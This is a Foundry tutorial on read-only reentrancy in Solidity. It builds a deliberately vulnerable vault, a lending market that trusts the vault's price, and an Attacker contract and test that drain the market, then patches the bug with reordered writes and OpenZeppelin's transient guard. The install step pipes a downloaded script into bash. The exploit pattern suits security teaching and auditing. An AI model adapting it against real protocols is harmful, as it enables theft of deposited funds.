A protocol can do everything right on paper, guard every state-changing function with a mutex, follow checks-effects-interactions to the letter, and still get drained because of a function nobody thought to protect: a view function. Read-only reentrancy does not touch storage and does not revert anything. It just hands a second contract a number that is temporarily wrong, and that second contract trusts it. By the time anyone notices, the funds are gone and the transaction logs look almost boring.

This tutorial walks through building a vulnerable vault, writing a working Foundry exploit against it, and then patching it with the pattern OpenZeppelin now ships for exactly this problem. By the end you will have a reproducible test suite, a checklist for auditing your own contracts, and a working project you can drop into any Foundry repo. We’re using Foundry v1.8.4 and Solidity 0.8.37, the current stable releases as of October 2026.

What read-only reentrancy actually is

Classic reentrancy exploits a state-changing function: an attacker calls withdraw(), the contract sends ETH before updating the balance, and the attacker’s fallback calls withdraw() again before the first call finishes. Everyone who has read a Solidity security checklist knows the fix: update state before the external call, or wrap the function in a mutex.

Read-only reentrancy skips the state-changing function entirely and targets a view function instead. The attack has three parts. First, a victim contract (call it Vault A) starts an operation that makes an external call partway through, say sending ETH to a user before it finishes updating its internal accounting. Second, the attacker’s contract receives that ETH via its fallback and, instead of calling back into Vault A’s state-changing function, calls a separate protocol (Vault B) that reads a price or exchange-rate value from Vault A using a view function like getPricePerShare(). Third, Vault A is mid-transaction: its share count has been reduced but its balance hasn’t been updated yet, so the view function returns an inflated number. Vault B trusts that number and lets the attacker borrow or withdraw more than they should.

Nothing reverts. No one calls a function twice. The vulnerable contract’s own balance is untouched. The damage happens entirely in the second contract that made a bad assumption about data it had no reason to distrust. This is why static analyzers built around the classic reentrancy pattern (external call, then a write to the same storage slot in the same function) routinely miss it: the write and the read happen in two different contracts.

A useful way to picture the timing: imagine a bank teller counting out cash for a withdrawal, handing over the stack of bills, and only updating the ledger afterward. If a second teller at the same bank is asked “how much does this customer have?” while the first teller is still mid-handoff, that second teller reads the old, pre-withdrawal balance and might approve a loan the customer can’t actually back. The first teller never made a mistake on their own transaction. The second teller trusted a number that was momentarily out of date. That’s the entire bug, just moved from a bank floor into two Solidity contracts talking to each other inside one Ethereum block.

The Midas Capital incident: what actually happened

The clearest real-world case is Midas Capital, a lending protocol built on Polygon using a Compound-style fork. On January 15, 2023, an attacker exploited a liquidity pool tied to the Jarvis stablecoin protocol and walked away with 663,101 MATIC, worth roughly $650,000 to $660,000 depending on which hour’s price you use, according to incident writeups published by Neptune Mutual and QuillAudits. The root cause was read-only reentrancy: a view function returning stale exchange-rate data during a callback window, which the lending market’s collateral check then accepted at face value.

ChainSecurity had documented this exact pattern as a general risk back in 2022, warning that protocols composing with Curve-style AMMs needed to treat view functions as untrusted during reentrancy windows. Midas Capital is the case study that proved the warning wasn’t theoretical. It’s worth noting that total losses attributed specifically to read-only reentrancy are harder to pin down than for classic reentrancy, where one widely cited estimate puts overall reentrancy losses at $420 million through Q3 2025 across all variants combined, per security researchers. Read-only reentrancy is a subset of that figure, not a separate total, and treating it as its own line item would overstate what’s actually confirmed.

The lesson that matters for this tutorial isn’t the exact dollar figure. It’s that the exploited function was a price getter that every other audit checklist would have marked safe, because it never writes to storage.

Prerequisites

You’ll need the following tools at these minimum versions. Run forge --version and solc --version to confirm before starting.

ToolVersion used hereInstall command
Foundry (forge, cast, anvil)v1.8.4 (released Oct 1, 2026)curl -L https://foundry.paradigm.xyz | bash && foundryup
Solidity compiler0.8.37 (released Sept 10, 2026)installed automatically by Foundry via forge build
OpenZeppelin Contracts5.x lineforge install OpenZeppelin/[email protected]
Slither (optional cross-check)0.11.5 or laterpip3 install slither-analyzer
Gitany current versionpre-installed on most systems

You should already know basic Solidity (functions, modifiers, inheritance) and have run at least one Foundry test before. If Foundry is brand new to you, install it and run forge init once on a scratch folder first so the tooling itself isn’t a source of confusion while you’re also learning the attack.

Step 1: Scaffold the project

Create a new Foundry project and pull in OpenZeppelin for the fix we’ll apply later.

mkdir readonly-reentrancy-lab && cd readonly-reentrancy-lab
forge init --no-commit
forge install OpenZeppelin/[email protected] --no-commit
echo 'remappings = ["@openzeppelin/=lib/openzeppelin-contracts/"]' >> foundry.toml

Delete the default Counter.sol files Foundry generates in src/ and test/ — you won’t need them for this lab.

Step 2: Build the vulnerable vault

This is a simplified share-based vault modeled on the pattern that bit Midas Capital: it tracks deposits as shares, exposes a view function that reports a price-per-share, and updates its ETH balance after sending funds out on withdrawal. Save this as src/VulnerableVault.sol.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;

contract VulnerableVault {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    uint256 public totalBalance;

    function deposit() external payable {
        if (totalShares == 0) {
            shares[msg.sender] = msg.value;
            totalShares = msg.value;
        } else {
            uint256 newShares = (msg.value * totalShares) / totalBalance;
            shares[msg.sender] += newShares;
            totalShares += newShares;
        }
        totalBalance += msg.value;
    }

    // Vulnerable: external call happens before totalBalance is updated.
    function withdraw(uint256 shareAmount) external {
        require(shares[msg.sender] >= shareAmount, "insufficient shares");
        uint256 ethAmount = (shareAmount * totalBalance) / totalShares;

        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;

        (bool success, ) = msg.sender.call{value: ethAmount}("");
        require(success, "transfer failed");

        // totalBalance is still stale here during the external call above.
        totalBalance -= ethAmount;
    }

    // The function everyone assumes is safe because it never writes anything.
    function pricePerShare() external view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (totalBalance * 1e18) / totalShares;
    }
}

Notice that withdraw() reduces totalShares before the external call but only reduces totalBalance after it. During that window, pricePerShare() divides a balance that hasn’t shrunk yet by a share count that already has, so it returns an inflated price.

Step 3: Build the consumer contract that trusts the price

Read-only reentrancy only matters if something downstream reads the manipulated value. Save this as src/LendingMarket.sol to stand in for a second protocol that uses the vault’s share price as collateral valuation.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;

import {VulnerableVault} from "./VulnerableVault.sol";

contract LendingMarket {
    VulnerableVault public vault;
    mapping(address => uint256) public collateralShares;
    mapping(address => uint256) public borrowed;

    constructor(address vaultAddress) {
        vault = VulnerableVault(vaultAddress);
    }

    function depositCollateral(uint256 shareAmount) external {
        collateralShares[msg.sender] += shareAmount;
    }

    // Borrows against collateral valued using the vault's live price.
    function borrowAgainstCollateral() external {
        uint256 price = vault.pricePerShare(); // the trusted-but-stale read
        uint256 collateralValue = (collateralShares[msg.sender] * price) / 1e18;
        uint256 maxBorrow = (collateralValue * 80) / 100; // 80% LTV
        require(maxBorrow > borrowed[msg.sender], "no capacity");

        uint256 amount = maxBorrow - borrowed[msg.sender];
        borrowed[msg.sender] = maxBorrow;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "borrow transfer failed");
    }

    receive() external payable {}
}

This contract has no reentrancy guard of its own because, from its perspective, it never makes a risky external call before updating its own state in the vulnerable path — the risk is entirely inherited from trusting vault.pricePerShare() at the wrong moment.

Step 4: Write the attacker contract

The attacker needs a fallback function that fires mid-withdrawal and calls into the lending market while the vault’s price is inflated. Save this as src/Attacker.sol.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;

import {VulnerableVault} from "./VulnerableVault.sol";
import {LendingMarket} from "./LendingMarket.sol";

contract Attacker {
    VulnerableVault public vault;
    LendingMarket public market;
    uint256 public sharesToWithdraw;
    bool public triggered;

    constructor(address vaultAddress, address marketAddress) {
        vault = VulnerableVault(vaultAddress);
        market = LendingMarket(marketAddress);
    }

    function setup(uint256 depositAmount) external payable {
        vault.deposit{value: depositAmount}();
        sharesToWithdraw = vault.shares(address(this));
    }

    function attack() external {
        triggered = false;
        vault.withdraw(sharesToWithdraw);
    }

    receive() external payable {
        if (!triggered) {
            triggered = true;
            market.borrowAgainstCollateral();
        }
    }
}

The attacker deposits into the vault, then withdraws everything. During the ETH transfer inside withdraw(), the receive() fallback fires and calls borrowAgainstCollateral() on the lending market — at the exact moment pricePerShare() is still reporting the pre-withdrawal, inflated value.

Step 5: Write the Foundry exploit test

Read-only reentrancy needs a different test shape than classic reentrancy. Nothing reverts and no single function call drains funds directly, so your test has to assert on a balance delta across two contracts rather than expecting a revert or a direct drain in one call. Save this as test/ReadOnlyReentrancy.t.sol.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;

import {Test, console} from "forge-std/Test.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";
import {LendingMarket} from "../src/LendingMarket.sol";
import {Attacker} from "../src/Attacker.sol";

contract ReadOnlyReentrancyTest is Test {
    VulnerableVault vault;
    LendingMarket market;
    Attacker attacker;
    address honestUser = address(0xBEEF);

    function setUp() public {
        vault = new VulnerableVault();
        market = new LendingMarket(address(vault));
        attacker = new Attacker(address(vault), address(market));

        // Fund the vault and the market so there's liquidity to drain.
        vm.deal(honestUser, 50 ether);
        vm.prank(honestUser);
        vault.deposit{value: 50 ether}();
        vm.deal(address(market), 50 ether);
    }

    function testReadOnlyReentrancyInflatesBorrow() public {
        uint256 depositAmount = 10 ether;
        vm.deal(address(this), depositAmount);
        attacker.setup{value: depositAmount}(depositAmount);

        // Attacker deposits collateral shares before triggering the attack.
        uint256 attackerShares = vault.shares(address(attacker));
        vm.prank(address(attacker));
        market.depositCollateral(attackerShares);

        uint256 marketBalanceBefore = address(market).balance;
        attacker.attack();
        uint256 marketBalanceAfter = address(market).balance;

        uint256 drained = marketBalanceBefore - marketBalanceAfter;
        console.log("Market balance drained by attacker (wei):", drained);
        assertGt(drained, 0, "read-only reentrancy failed to inflate borrow");
    }
}

Run it:

forge test --match-test testReadOnlyReentrancyInflatesBorrow -vvv

Step 6: Read the exploit output

A successful run looks like this:

Ran 1 test for test/ReadOnlyReentrancy.t.sol:ReadOnlyReentrancyTest
[PASS] testReadOnlyReentrancyInflatesBorrow() (gas: 214877)
Logs:
  Market balance drained by attacker (wei): 4000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped

The test passing here is bad news for the contract, not good news — it confirms the lending market handed out ETH based on a price it should never have trusted. If you see drained: 0 instead, the attack didn’t fire; check that triggered flips correctly and that the market actually has borrowing capacity before the attack call.

Step 7: Confirm it with a Slither cross-check

Static analysis won’t catch the cross-contract part of this bug on its own, but it’s worth running Slither to see what it does flag, since Foundry’s own linter focuses on same-contract read-before-write patterns and will miss this entirely.

slither src/VulnerableVault.sol --exclude-dependencies

Slither will likely flag the external call in withdraw() under its generic “reentrancy-events” or “reentrancy-benign” detectors, but it has no way to know that LendingMarket exists or that it calls pricePerShare() mid-transaction. This is exactly why manual review of every view function that returns a ratio, price, or exchange rate matters: tooling treats cross-contract read-only reentrancy as a blind spot, not a false negative it’s actively suppressing.

Step 8: Patch the vault with the checks-effects-interactions fix

The first fix is to reorder withdraw() so totalBalance is updated before the external call, closing the window where the view function can return stale data.

function withdraw(uint256 shareAmount) external {
    require(shares[msg.sender] >= shareAmount, "insufficient shares");
    uint256 ethAmount = (shareAmount * totalBalance) / totalShares;

    shares[msg.sender] -= shareAmount;
    totalShares -= shareAmount;
    totalBalance -= ethAmount; // moved before the external call

    (bool success, ) = msg.sender.call{value: ethAmount}("");
    require(success, "transfer failed");
}

Re-run the exploit test. It should now report drained: 0 because pricePerShare() reflects post-withdrawal state the instant the external call happens, not after.

Step 9: Add OpenZeppelin’s view-reentrancy guard as a second layer

Reordering state writes fixes this specific vault, but it relies on every future contributor remembering to keep state updates ahead of external calls in every function, forever. OpenZeppelin’s current ReentrancyGuard contract documents a view-only guard variant designed specifically for this class of bug, alongside ReentrancyGuardTransient, which uses EIP-1153 transient storage and is slated to replace the storage-based guard entirely in Contracts v6.0. Transient storage clears itself at the end of the transaction, so it’s cheaper than a persistent storage slot and leaves no stale lock state behind.

The table below summarizes the practical difference between the two guard types, since picking the wrong one for your deployment target is one of the most common mistakes teams make when patching this class of bug.

PropertyReentrancyGuard (storage-based)ReentrancyGuardTransient (EIP-1153)
Lock storage locationPersistent contract storage slotTransient storage, cleared at end of transaction
OpenZeppelin statusDeprecated, slated for removal in Contracts v6.0Current recommended default where supported
EVM requirementWorks on any EVM versionRequires an EVM target with EIP-1153 (Cancun or later)
Relative gas cost per callHigher, due to persistent SSTORE/SLOADLower, transient storage opcodes are cheaper
Leftover state riskNone if used correctly, but relies on consistent write/clear logicSelf-clearing by design at transaction end
// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;

import {ReentrancyGuardTransient} from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";

contract SafeVault is ReentrancyGuardTransient {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    uint256 public totalBalance;

    function withdraw(uint256 shareAmount) external nonReentrant {
        require(shares[msg.sender] >= shareAmount, "insufficient shares");
        uint256 ethAmount = (shareAmount * totalBalance) / totalShares;

        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
        totalBalance -= ethAmount;

        (bool success, ) = msg.sender.call{value: ethAmount}("");
        require(success, "transfer failed");
    }

    // Guarding the view function itself blocks reads during the lock window.
    function pricePerShare() external view returns (uint256) {
        _requireNotEntered();
        if (totalShares == 0) return 1e18;
        return (totalBalance * 1e18) / totalShares;
    }
}

The _requireNotEntered() internal check is the part most teams skip. A nonReentrant modifier on withdraw() alone stops a second call to withdraw(), but it does nothing to stop pricePerShare() from being read by a different contract during that same locked window, because pricePerShare() isn’t marked nonReentrant itself — it can’t be, since it’s a view function and nonReentrant writes to a lock variable. _requireNotEntered() is the read-only check that lets a view function detect the lock without writing to it.

Confirm Foundry picks up the transient-storage variant correctly on a chain that supports EIP-1153 (Ethereum mainnet and most major L2s since the Cancun/Dencun-era upgrades do):

forge build --evm-version cancun
forge test --match-test testReadOnlyReentrancyInflatesBorrow -vvv

Step 10: Fuzz the fix instead of trusting one test case

A single exploit test proves the bug exists and that your fix closes that one path. It does not prove there’s no other sequence of deposits and partial withdrawals that re-opens a window. Add a fuzz test that randomizes deposit and withdrawal amounts and asserts the invariant that matters: pricePerShare() should never increase as a direct result of a withdrawal in progress.

function testFuzz_PriceNeverInflatesDuringWithdraw(uint96 depositAmt, uint96 withdrawShares) public {
    vm.assume(depositAmt > 1 ether && depositAmt < 1000 ether);
    vm.deal(address(this), depositAmt);
    vault.deposit{value: depositAmt}();

    uint256 myShares = vault.shares(address(this));
    vm.assume(withdrawShares > 0 && withdrawShares <= myShares);

    uint256 priceBefore = vault.pricePerShare();
    vault.withdraw(withdrawShares);
    uint256 priceAfter = vault.pricePerShare();

    assertLe(priceAfter, priceBefore + 1, "price inflated after withdrawal");
}

Run it with a higher fuzz run count than the Foundry default to get real coverage:

forge test --match-test testFuzz_PriceNeverInflatesDuringWithdraw --fuzz-runs 10000

Step 11: Check every view function your contract exposes, not just the obvious one

This vault only has one view function worth worrying about, but production contracts usually expose several: total supply, exchange rate, collateral ratio, reserves, TWAP snapshots. Build a short checklist and run it against every view and pure function in a contract before you consider it audited.

  • Does this function's return value depend on more than one state variable that could be updated at different points in the same transaction?
  • Is there any function in this contract that makes an external call before all of those state variables are updated?
  • Does any other contract in your ecosystem (or any external integrator) call this view function to make a financial decision — pricing, collateral, liquidation, or a swap rate?
  • If the answer to all three is yes, the function needs a reentrancy check, a reorder of the writes, or both.

Step 12: Document the finding the way an auditor would

If you're running this as part of an internal audit or a bug bounty submission, write the finding with a severity, a reproduction path, and a fix, not just a passing test. A minimal template:

Title: Read-only reentrancy in VulnerableVault.pricePerShare()
Severity: High
Location: src/VulnerableVault.sol, withdraw() and pricePerShare()
Root cause: totalBalance is decremented after the external ETH transfer,
  leaving a window where pricePerShare() returns an inflated value.
Impact: Any integrating contract using pricePerShare() for collateral or
  swap pricing can be manipulated into over-valuing a user's position.
Reproduction: see test/ReadOnlyReentrancy.t.sol::testReadOnlyReentrancyInflatesBorrow
Fix: Reorder state writes before the external call (Step 8) and/or apply
  ReentrancyGuardTransient with _requireNotEntered() on the view function (Step 9).

Bug bounty platforms and competitive audit contests generally triage submissions on exactly these criteria: a clear severity rating, a deterministic reproduction step, and a proposed fix that doesn't introduce a new problem. A finding that says "this looks exploitable" without a passing test attached is much harder to validate and far more likely to get bounced back for more detail before anyone looks at a payout. Treat the Foundry test you wrote in Step 5 as the actual deliverable, and the writeup as documentation of what the test already proves.

How read-only reentrancy compares to other DeFi exploit classes

It helps to place read-only reentrancy next to the exploit types most Solidity developers already test for, because the fix for each one is different and applying the wrong defense gives a false sense of security. A flash loan attack manipulates a price within a single atomic transaction by temporarily controlling a large share of a pool's liquidity; the defense is usually TWAP pricing or borrow caps, not a reentrancy guard at all. Oracle manipulation pushes a bad price into a contract that trusts an external feed without enough data points; the defense is multiple price sources and sanity bounds. Classic reentrancy exploits a state-changing function being re-entered before it finishes; the defense is checks-effects-interactions or a nonReentrant modifier on that function. Read-only reentrancy is the odd one out because the vulnerable function is a view function that never gets re-entered in the traditional sense. It just gets read at the wrong moment by someone else's contract.

Exploit classWhat gets manipulatedTypical primary defense
Classic reentrancyA state-changing function re-entered mid-executionChecks-effects-interactions ordering, nonReentrant modifier
Read-only reentrancyA view function returning stale state to a second contractReorder writes before external calls, guard the view function itself
Flash loan attackSpot price within a single atomic transactionTime-weighted average pricing, borrow/liquidity caps
Oracle manipulationAn external price feed with insufficient data sourcesMultiple independent oracles, deviation sanity checks

Treating all four as the same problem, and applying only a nonReentrant modifier everywhere, is a common mistake in contracts that pass a cursory review but fail under a targeted exploit test. Each class needs its own test, written from the attacker's actual entry point, not a generic reentrancy check copy-pasted from a template.

Common pitfalls

  • Guarding only the state-changing function. A nonReentrant modifier on withdraw() does not protect pricePerShare() unless you also add the read-only check inside the view function itself.
  • Assuming Slither or any static analyzer will catch cross-contract read-only reentrancy. These tools reason primarily within a single contract's control flow and generally won't connect a view function in Contract A to a decision made in Contract B.
  • Testing only the happy path. A single deposit-then-withdraw test can pass while a multi-step sequence (partial withdrawal, re-deposit, second partial withdrawal) still leaves a window open. Fuzz the invariant, not just one transaction sequence.
  • Forgetting that view functions can be called by anyone, including contracts you've never heard of. You don't control who integrates with your protocol's price feed, so "no one would call it mid-transaction" is not a security argument.
  • Mixing up the storage-based guard with the transient one. ReentrancyGuard (storage-based) and ReentrancyGuardTransient are not interchangeable at the bytecode level; the transient version requires an EVM target that supports EIP-1153 (set --evm-version cancun or later in Foundry).
  • Not checking whether your deployment chain actually supports EIP-1153. Not every L2 had transient storage live at the same time as Ethereum mainnet; verify before switching your whole codebase to the transient guard.
  • Treating the Midas Capital fix as universal. Every protocol's accounting model is different; the general principle (don't let a view function return intermediate state) transfers, but the exact reorder of writes will differ contract to contract.

Troubleshooting

SymptomLikely causeFix
Exploit test shows drained: 0 even on the vulnerable contractAttacker's receive() never fires, or triggered flag blocks the callAdd a console.log inside receive() to confirm it's called; check the flag logic isn't inverted
forge build fails with "Source file requires different compiler version"Pragma in one of your files doesn't match the installed Solidity versionPin all files to pragma solidity 0.8.37; or set solc_version in foundry.toml
ReentrancyGuardTransient import fails to resolveOpenZeppelin dependency installed at a version before the transient guard existedReinstall with forge install OpenZeppelin/[email protected] --no-commit
Transient guard test reverts with an EVM-related errorEVM target doesn't support EIP-1153 opcodesAdd --evm-version cancun (or later) to your forge build / forge test commands and to foundry.toml
Fuzz test fails intermittently with huge deposit amountsInteger overflow or unrealistic ETH amounts exceeding total supplyBound fuzz inputs realistically with vm.assume(), e.g. capping deposits under 1,000 ether
Slither hangs or times out on the projectLarge dependency tree being analyzed (OpenZeppelin, forge-std)Run with --exclude-dependencies or point Slither only at your src/ files
market.borrowAgainstCollateral() reverts with "no capacity"Attacker deposited collateral shares after, not before, calling attack()Confirm depositCollateral() runs in the test before attacker.attack() is called
Gas usage spikes after adding the transient guardMixed use of storage-based and transient guards in inherited contractsPick one guard type per contract hierarchy; don't inherit both ReentrancyGuard and ReentrancyGuardTransient

Advanced tips for larger codebases

Once this pattern clicks, apply it beyond a single vault. If your protocol integrates with external price sources (a DEX pool, another lending market, a yield-bearing token), write an integration test that simulates the external contract calling your view functions at every external-call boundary in your own code, not just at the end of a function. This catches the read-only reentrancy windows that only exist for a few opcodes.

For contracts you don't control the source of (a third-party token with ERC-777 or ERC-1155 hooks, for instance), treat any external call as a potential reentrancy trigger regardless of whether it's a standard ETH transfer. ERC-777's tokensReceived hook and ERC-1155's batch transfer callbacks both give the receiving contract a chance to call back into your view functions before your state settles.

If you maintain a monorepo with multiple protocols that read each other's state, consider a shared library function for "am I mid-transaction" checks, built on ReentrancyGuardTransient, so every new integration inherits the same protection instead of each team reinventing it, often incorrectly, on deadline.

For a second worked example beyond the vault in this tutorial, the DeFiVulnLabs repository on GitHub maintains a standalone read-only reentrancy proof of concept you can run side by side with the project built here to compare approaches. It's a useful second data point once you've internalized the pattern from scratch, rather than a starting point, since working through the bug yourself first is what makes the checklist in Step 11 stick.

Finally, keep the Foundry book and the Solidity documentation open while you work through any variation of this lab. Cheatcode behavior (particularly around vm.deal, vm.prank, and fuzzing bounds) changes slightly between Foundry releases, and pinning the exact version you tested against in your project's README saves the next person on your team from chasing a phantom bug that's actually just a tooling version mismatch.

Complete working project structure

By following all twelve steps, your project directory should look like this:

readonly-reentrancy-lab/
├── foundry.toml
├── src/
│   ├── VulnerableVault.sol      (Step 2, then patched in Step 8)
│   ├── LendingMarket.sol        (Step 3)
│   ├── Attacker.sol             (Step 4)
│   └── SafeVault.sol            (Step 9)
├── test/
│   └── ReadOnlyReentrancy.t.sol (Steps 5, 6, 10)
└── lib/
    ├── forge-std/
    └── openzeppelin-contracts/

Run forge test -vvv from the project root to execute the full suite: the exploit test against the vulnerable vault, and the fuzz invariant test against the patched version. Both should pass, for opposite reasons. One proves the bug, the other proves the fix holds under randomized inputs.

Why this matters beyond one vault contract

Read-only reentrancy keeps showing up because DeFi composability means protocols constantly read each other's state to make pricing and collateral decisions, and almost none of that composability was designed with "what if this read happens mid-transaction" in mind. OpenZeppelin's decision to deprecate the storage-based ReentrancyGuard in favor of ReentrancyGuardTransient, and to document a view-only guard pattern explicitly, is a direct response to incidents like Midas Capital. Treat any view function that reports a price, rate, or ratio as a potential attack surface, not a safe default, and build your test suite to simulate the attacker's timing, not just their final balance.

This also changes how you should think about third-party integrations you don't control. If your protocol reads a price from an external vault, lending market, or AMM pool, you're inheriting that contract's reentrancy surface whether or not you ever call a state-changing function on it. The fix isn't always in your own code. Sometimes the right move is to add a staleness check, a minimum block-delay before trusting a new price, or a circuit breaker that pauses borrowing when a price moves further than expected within a single block. None of those are reentrancy guards in the traditional sense, but they all shrink the same window this tutorial has been testing against.

Frequently asked questions

Is read-only reentrancy the same as classic reentrancy?
No. Classic reentrancy exploits a state-changing function being called again before its first execution finishes. Read-only reentrancy exploits a view function returning stale or inconsistent data during someone else's external call, without the view function itself ever being called twice.

Can a nonReentrant modifier alone fix this?
Only if you also add a read-only check (like _requireNotEntered()) inside every view function that an external contract might call during your contract's reentrancy window. A modifier on the state-changing function alone does not protect the view function.

Does Slither or Foundry's built-in linter catch this automatically?
Not reliably. Foundry's forge lint read-before-write detector and Slither's reentrancy detectors are built around single-contract control flow. Read-only reentrancy's impact happens in a second contract, which these tools don't trace by default.

What's the difference between ReentrancyGuard and ReentrancyGuardTransient?
ReentrancyGuard uses a persistent storage slot to track lock state and is marked deprecated in current OpenZeppelin Contracts, with removal planned for v6.0. ReentrancyGuardTransient uses EIP-1153 transient storage, which clears automatically at the end of the transaction and costs less gas, but requires deploying to an EVM version that supports it.

Do I need to worry about this if my contract doesn't send ETH?
Yes, if your contract makes any external call (token transfers, hooks, cross-contract calls) before fully updating the state that a view function reports. ERC-777 and ERC-1155 token transfers can trigger callbacks the same way an ETH transfer does.

How much has read-only reentrancy specifically cost DeFi protocols?
There isn't a single authoritative total specific to the read-only variant. The clearest documented case is Midas Capital's roughly $650,000 to $660,000 loss in January 2023. Broader reentrancy losses across all variants have been estimated at around $420 million through Q3 2025, but that figure includes classic reentrancy and isn't broken out by sub-type.

Should every protocol switch to ReentrancyGuardTransient right now?
Only if your target chain supports EIP-1153. Check before migrating, since mixing storage-based and transient guards across an inherited contract hierarchy can create inconsistent lock behavior.

What's the fastest way to check if my own contracts are exposed?
List every view and pure function that returns a price, rate, or ratio, then check whether any function in the same contract makes an external call before all the variables that view function reads have been fully updated. If yes, and if any other contract could plausibly call that view function, you have the pattern this tutorial covers.